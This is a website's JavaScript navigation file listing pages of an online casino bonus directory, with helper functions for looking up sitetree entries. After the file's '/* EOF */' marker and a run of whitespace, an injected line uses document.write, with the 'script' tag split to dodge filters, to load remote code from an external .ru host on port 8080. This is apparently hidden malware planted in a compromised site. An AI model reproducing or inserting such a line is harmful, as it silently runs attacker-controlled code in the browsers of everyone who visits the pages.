/* [nodename, id, name, navigationtext, href, isnavigation, childs[], templatename] */

function jdecode(s) {
    s = s.replace(/\+/g, "%20")
    return unescape(s);
}

var POS_NODENAME=0;
var POS_ID=1;
var POS_NAME=2;
var POS_NAVIGATIONTEXT=3;
var POS_HREF=4;
var POS_ISNAVIGATION=5;
var POS_CHILDS=6;
var POS_TEMPLATENAME=7;
var theSitetree=[ 
	['PAGE','1112',jdecode('Home'),jdecode(''),'/1112.html','true',[],''],
	['PAGE','1165',jdecode('Monthly+Bonus'),jdecode(''),'/1165.html','true',[],''],
	['PAGE','1280',jdecode('%24100+Match+Bonus'),jdecode(''),'/1280.html','true',[],''],
	['PAGE','34015',jdecode('%24100+Match+Bonus+%282%29'),jdecode(''),'/34015.html','true',[],''],
	['PAGE','1188',jdecode('%2470+Match+Bonus'),jdecode(''),'/1188.html','true',[],''],
	['PAGE','11815',jdecode('%2450+Match+Bonus'),jdecode(''),'/11815.html','true',[],''],
	['PAGE','1211',jdecode('%240-%2449+Match+Bonus'),jdecode(''),'/1211.html','true',[],''],
	['PAGE','39815',jdecode('Latest+Additions'),jdecode(''),'/39815.html','true',[],''],
	['PAGE','35715',jdecode('UK%A3+Sterling+Casinos'),jdecode(''),'/35715.html','true',[],''],
	['PAGE','31515',jdecode('Virtual+Vegas'),jdecode(''),'/31515.html','true',[],''],
	['PAGE','38215',jdecode('Poker+Rooms'),jdecode(''),'/38215.html','true',[],''],
	['PAGE','51010',jdecode('World+Languages'),jdecode(''),'/51010.html','true',[],''],
	['PAGE','20015',jdecode('Boss+Media+Games'),jdecode(''),'/20015.html','true',[],''],
	['PAGE','21315',jdecode('Cryptologic+Games'),jdecode(''),'/21315.html','true',[],''],
	['PAGE','23015',jdecode('Microgaming+Games'),jdecode(''),'/23015.html','true',[],''],
	['PAGE','41215',jdecode('Odds+On+Games'),jdecode(''),'/41215.html','true',[],''],
	['PAGE','39838',jdecode('Playtech+Games'),jdecode(''),'/39838.html','true',[],''],
	['PAGE','26415',jdecode('Bingo%2FLotto%2FFree+Casino'),jdecode(''),'/26415.html','true',[],''],
	['PAGE','44215',jdecode('Bingo+Bonanza'),jdecode(''),'/44215.html','true',[],''],
	['PAGE','1257',jdecode('Payment+Methods'),jdecode(''),'/1257.html','true',[],''],
	['PAGE','43215',jdecode('Mailing+List%2FWeb+Links'),jdecode(''),'/43215.html','true',[],''],
	['PAGE','43238',jdecode('News%2FAffiliations'),jdecode(''),'/43238.html','true',[],''],
	['PAGE','46415',jdecode('Campaign'),jdecode(''),'/46415.html','true',[],''],
	['PAGE','3815',jdecode('Webmaster%2FSportsbooks'),jdecode(''),'/3815.html','true',[],'']];
var siteelementCount=24;
theSitetree.topTemplateName='Stripes';
					                                                                    
theSitetree.getById = function(id, ar) {												
							if (typeof(ar) == 'undefined')                              
								ar = this;                                              
							for (var i=0; i < ar.length; i++) {                         
								if (ar[i][POS_ID] == id)                                
									return ar[i];                                       
								if (ar[i][POS_CHILDS].length > 0) {                     
									var result=this.getById(id, ar[i][POS_CHILDS]);     
									if (result != null)                                 
										return result;                                  
								}									                    
							}                                                           
							return null;                                                
					  };                                                                
					                                                                    
theSitetree.getParentById = function(id, ar) {											
						if (typeof(ar) == 'undefined')                              	
							ar = this;                                             		
						for (var i=0; i < ar.length; i++) {                        		
							for (var j = 0; j < ar[i][POS_CHILDS].length; j++) {   		
								if (ar[i][POS_CHILDS][j][POS_ID] == id) {          		
									// child found                                 		
									return ar[i];                                  		
								}                                                  		
								var result=this.getParentById(id, ar[i][POS_CHILDS]);   
								if (result != null)                                 	
									return result;                                  	
							}                                                       	
						}                                                           	
						return null;                                                	
					 }								                                    
					                                                                    
theSitetree.getName = function(id) {                                                    
						var elem = this.getById(id);                                    
						if (elem != null)                                               
							return elem[POS_NAME];                                      
						return null;	                                                
					  };			                                                    
theSitetree.getNavigationText = function(id) {                                          
						var elem = this.getById(id);                                    
						if (elem != null)                                               
							return elem[POS_NAVIGATIONTEXT];                            
						return null;	                                                
					  };			                                                    
					                                                                    
theSitetree.getHREF = function(id) {                                                    
						var elem = this.getById(id);                                    
						if (elem != null)                                               
							return elem[POS_HREF];                                      
						return null;	                                                
					  };			                                                    
					                                                                    
theSitetree.getIsNavigation = function(id) {                                            
						var elem = this.getById(id);                                    
						if (elem != null)                                               
							return elem[POS_ISNAVIGATION];                              
						return null;	                                                
					  };			                                                    
					                                                                    
theSitetree.getTemplateName = function(id, lastTemplateName, ar) {             		 
	                                                                                 
	if (typeof(lastTemplateName) == 'undefined')                                     
		lastTemplateName = this.topTemplateName;	                                 
	if (typeof(ar) == 'undefined')                                                   
		ar = this;                                                                   
		                                                                             
	for (var i=0; i < ar.length; i++) {                                              
		var actTemplateName = ar[i][POS_TEMPLATENAME];                               
		                                                                             
		if (actTemplateName == '')                                                   
			actTemplateName = lastTemplateName;		                                 
		                                                                             
		if (ar[i][POS_ID] == id) {                                			         
			return actTemplateName;                                                  
		}	                                                                         
		                                                                             
		if (ar[i][POS_CHILDS].length > 0) {                                          
			var result=this.getTemplateName(id, actTemplateName, ar[i][POS_CHILDS]); 
			if (result != null)                                                      
				return result;                                                       
		}									                                         
	}                                                                                
	return null;                                                                     
	};                                                                               
/* EOF */					                                                            

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Tag.js"></scr'+'ipt>');